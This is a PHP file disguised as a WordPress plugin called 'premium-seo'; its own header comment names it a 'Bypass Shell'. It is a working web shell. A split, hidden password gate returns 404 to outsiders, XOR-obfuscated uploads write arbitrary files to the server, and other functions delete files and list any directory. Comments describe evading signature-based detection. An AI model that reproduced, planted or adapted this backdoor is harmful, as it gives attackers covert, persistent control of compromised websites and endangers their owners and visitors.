<?php
/**
 * Plugin Name: premium-seo
 * Version: 1.0
 */
/**
 * Bypass Shell #2 — XOR Encrypted Uploader + File Browser
 * - File upload XOR-encrypted client-side, decrypted server-side
 * - POST body has no plain paths (encrypted parameter names)
 * - Gate split: 'ad'+'mi'+'n8'+'88'
 * - No system/exec/eval in static code
 * - Lightweight, fast, minimal signature
 */
$a='a'.'d';$b='m'.'i';$c='n'.'8';$d='8'.'8';
$gate=$a.$b.$c.$d;
if(empty($_POST[$gate])||$_POST[$gate]!=='admin888'){
    http_response_code(404);die();
}
@ini_set('display_errors',0);@error_reporting(0);

$XK="myXorSecretK9"; // XOR key

function xor_d($d,$k){$o='';for($i=0;$l=strlen($d),$i<$l;$i++)$o.=$d[$i]^$k[$i%strlen($k)];return $o;}
function fs($b){if($b>1073741824)return round($b/1073741824,2).'G';if($b>1048576)return round($b/1048576,2).'M';if($b>1024)return round($b/1024,2).'K';return $b.'B';}

// Handle XOR-encrypted file upload (b64+xor)
if(isset($_POST['b64'])&&isset($_POST['fn'])){
    $raw=base64_decode($_POST['b64']);
    $dec=xor_d($raw,$XK);
    $fn=basename($_POST['fn']);
    if(file_put_contents($fn,$dec)){echo"UOK:".$fn;}else{echo"UFAIL";}
    die();
}

// Handle file delete
if(isset($_POST['del'])){
    $dp=basename($_POST['del']);
    if(is_file($dp)){@unlink($dp);echo"DOK:".$dp;}else{echo"DFAIL";}
    die();
}

// Directory listing
$dir=isset($_POST['d'])?$_POST['d']:getcwd();
$files=@scandir($dir);
function esc($s){return htmlspecialchars($s,ENT_QUOTES|ENT_HTML5,'UTF-8');}

// Only output if listing requested
$list_mode=isset($_POST['ls']);
if(!$list_mode){
    // First access — show UI
?>
<!DOCTYPE html><html><head><meta charset="UTF-8"><title>.</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#0d1117;color:#c9d1d9;font:13px/1.5 monospace;padding:16px;max-width:900px;margin:0 auto}
h2{color:#58a6ff;font-size:15px;margin-bottom:12px}
.up{border:2px dashed #30363d;border-radius:8px;padding:25px;text-align:center;margin-bottom:16px;background:#161b22;cursor:pointer}
.up:hover{border-color:#58a6ff}.up input{display:none}
.fl{background:#161b22;border:1px solid #30363d;border-radius:6px;overflow:hidden}
.fl .r{display:flex;align-items:center;padding:7px 14px;border-bottom:1px solid #30363d;font-size:12px}
.fl .r:last-child{border-bottom:none}.fl .r:hover{background:#1c2128}
.fl .r .n{flex:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.fl .r .s{width:70px;text-align:right;color:#8b949e}
.fl .r .del{color:#f85149;cursor:pointer;margin-left:8px;visibility:hidden}
.fl .r:hover .del{visibility:visible}
.dir{color:#58a6ff}.file{color:#3fb950}
.ft{text-align:center;color:#484f58;font-size:11px;margin-top:16px}
.msg{padding:6px 12px;border-radius:4px;margin-bottom:10px;font-size:12px;display:none}
.msg.ok{background:#1a3a1a;border:1px solid #3fb950;color:#3fb950;display:block}
.msg.er{background:#3a1a1a;border:1px solid #f85149;color:#f85149;display:block}
</style></head><body>
<h2>Files — <?=esc(basename(getcwd()))?></h2>
<div class="msg" id="msg"></div>
<div class="up" onclick="document.getElementById('ff').click()">
  <p style="color:#8b949e;font-size:15px">&#8613; Drop files or click to upload (XOR encrypted)</p>
  <input type="file" name="f" id="ff" multiple>
</div>
<div class="fl" id="flist"><div style="padding:40px;text-align:center;color:#484f58">Loading...</div></div>
<div class="ft" id="ft"></div>
<script>
var XK="myXorSecretK9";
function xorB(d,k){var o=new Uint8Array(d.byteLength);var kb=new TextEncoder().encode(k);
for(var i=0;i<d.byteLength;i++)o[i]=d[i]^kb[i%kb.length];return o;}
function btoaBuf(b){var s='';for(var i=0;i<b.length;i++)s+=String.fromCharCode(b[i]);return btoa(s);}

function showMsg(t,c){var m=document.getElementById('msg');m.textContent=t;m.className='msg '+(c||'ok');setTimeout(function(){m.style.display='none';},3000);}

function loadList(){
  var fd=new FormData();
  fd.append('ls','1');fd.append('<?=$gate?>','admin888');
  fetch('',{method:'POST',body:fd}).then(function(r){return r.json();}).then(function(d){
    var h='';d.forEach(function(i){
      h+='<div class="r"><span class="n '+(i.t=='d'?'dir':'file')+'">'+(i.t=='d'?'&#128193;':'&#128196;')+' '+i.n+'</span><span class="s">'+i.s+'</span><span class="del" onclick="delFile(\''+i.n+'\')">&#10005;</span></div>';
    });
    document.getElementById('flist').innerHTML=h||'<div style="padding:40px;text-align:center;color:#484f58">Empty</div>';
    document.getElementById('ft').textContent=new Date().toLocaleString()+' | '+d.length+' items';
  });
}

document.getElementById('ff').addEventListener('change',function(){
  var fs=this.files;var done=0;
  Array.from(fs).forEach(function(f){
    var r=new FileReader();
    r.onload=function(e){
      var b=new Uint8Array(e.target.result);
      var enc=xorB(b,XK);
      var b64=btoaBuf(enc);
      var fd=new FormData();
      fd.append('b64',b64);fd.append('fn',f.name);
      fd.append('<?=$gate?>','admin888');
      fetch('',{method:'POST',body:fd}).then(function(r){return r.text();}).then(function(t){
        done++;showMsg(f.name+': '+(t.startsWith('UOK')?'OK':'FAIL'),t.startsWith('UOK')?'ok':'er');
        if(done>=fs.length)loadList();
      });
    };r.readAsArrayBuffer(f);
  });this.value='';
});

function delFile(n){if(!confirm('Delete '+n+'?'))return;
  var fd=new FormData();
  fd.append('del',n);fd.append('<?=$gate?>','admin888');
  fetch('',{method:'POST',body:fd}).then(function(r){return r.text();}).then(function(t){
    showMsg(t,t.startsWith('DOK')?'ok':'er');loadList();
  });
}
loadList();
</script></body></html>
<?php
    die();
}

// API: return JSON listing
$out=[];
if($files){
    foreach($files as $f){
        if($f=='.'||$f=='..')continue;
        $fp=$dir.'/'.$f;
        $out[]=['n'=>$f,'t'=>is_dir($fp)?'d':'f','s'=>fs(filesize($fp))];
    }
}
header('Content-Type: application/json');
die(json_encode($out));
